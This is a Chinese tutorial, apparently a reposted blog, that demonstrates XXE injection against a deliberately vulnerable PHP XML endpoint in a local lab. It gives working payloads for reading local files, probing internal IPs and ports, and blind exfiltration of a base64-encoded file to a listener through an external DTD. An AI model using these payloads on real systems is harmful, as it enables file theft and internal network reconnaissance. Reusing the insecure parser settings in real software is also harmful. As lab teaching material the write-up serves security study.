XXE漏洞演示

环境:phpstudy+xml.php
无回显用到虚拟机kali
Xml.php代码如下:

<?php
    libxml_disable_entity_loader (false);    //这里相当于开启外部实体
    //若为true,则表示禁用外部实体
    $xmlfile = file_get_contents('php://input'); 
    //可以获取POST来的数据
    $dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
//LIBXML_NOENT:将XML中的实体引用替换成对应的值
//LIBXML_DTDLOAD:加载DOCTYPE中的DTD文件
$creds = simplexml_import_dom($dom);
//获取DOM文档节点并转换为SimpleXML节点
    echo $creds;
?>

一.有回显
1.读取本地文件(不含有&,<,>,”,’等特殊字符)
<1>访问xml.php
在这里插入图片描述
<2>输入xxe
代码如下:

<?xml version=”1.0” encoding=”utf-8”?>
<!DOCTYPE creds [
<!ENTITY f SYSTEM “file:///c:/windows/system.ini”> ]>
<creds>&f;</creds>

得到如下结果:
在这里插入图片描述
发现成功读取本地文件
换个路径试试,发现都是可以成功的
在这里插入图片描述
2.读取本地文件(含有特殊字符)
通过第一种方法访问文件内容中含有特殊字符的文件会报错,
因为因此需要借助CDATA,CDATA中的所有字符都会被当作元素字符数据的常量部分,而不是xml标记
<1>访问xml.php
在这里插入图片描述
<2>写好外部实体evil.dtd
在这里插入图片描述
相关代码:

<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY all "%start;%goodies;%end;">

<3>输入xxe
代码如下:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE roottag [
<!ENTITY % start "<![CDATA[">   
<!ENTITY % goodies SYSTEM "file:///E:/phpStudy/PHPTutorial/WWW/XXE/1.txt">  
<!ENTITY % end "]]>">  
<!ENTITY % dtd SYSTEM "http://127.0.0.1:81/XXE/evil.dtd">
%dtd; ]>
<roottag>&all;</roottag>

得到如下结果:
在这里插入图片描述
发现成功读取有特殊字符的文件
3.内网ip探测
<1>访问xml.php
在这里插入图片描述
<2>输入xxe
代码如下:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [  
<!ENTITY goodies SYSTEM "php://filter/convert.base64-encode/resource=http://10.0.78.4"> ]>
<creds>&goodies;</creds>

得到如下结果:
在这里插入图片描述
红色圈表示该ip存在
在这里插入图片描述
乱码并且没有出现上面红圈说明该ip不存在(可以利用burp重放更便利)
也可以根据响应时间长短进行判断ip是否存在
4.内网端口探测
同3输入xxe
代码如下:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [  
<!ENTITY goodies SYSTEM "php://filter/convert.base64-encode/resource=http://10.0.78.4:80"> ]>
<creds>&goodies;</creds>

在这里插入图片描述
仍然可以根据3的两种判断方法进行判断端口是否开放,如果有报错,可以直接探测出banner信息
二.无回显
xml.php2代码如下:

<?php
    libxml_disable_entity_loader (false);
    //若为true,则表示禁用外部实体
    $xmlfile = file_get_contents('php://input');
    //可以获取POST来的数据
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
?>

xml.php2是无回显的
因此我们需要使用外带数据通道提取数据,可以通过监听端口来显示
<1>访问xml2.php
在这里插入图片描述
<2>写好外部实体evil2.dtd
在这里插入图片描述
代码如下:

<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/windows/system.ini">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://10.0.78.29:9999?p=%file;'>">

<3>输入xxe
代码如下:

<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://10.0.78.4:81/XXE/evil2.dtd">
%remote;%int;%send;
]>

得到结果如下:
在这里插入图片描述
成功读取该文件

猜你喜欢

转载自blog.csdn.net/bring_coco/article/details/111429649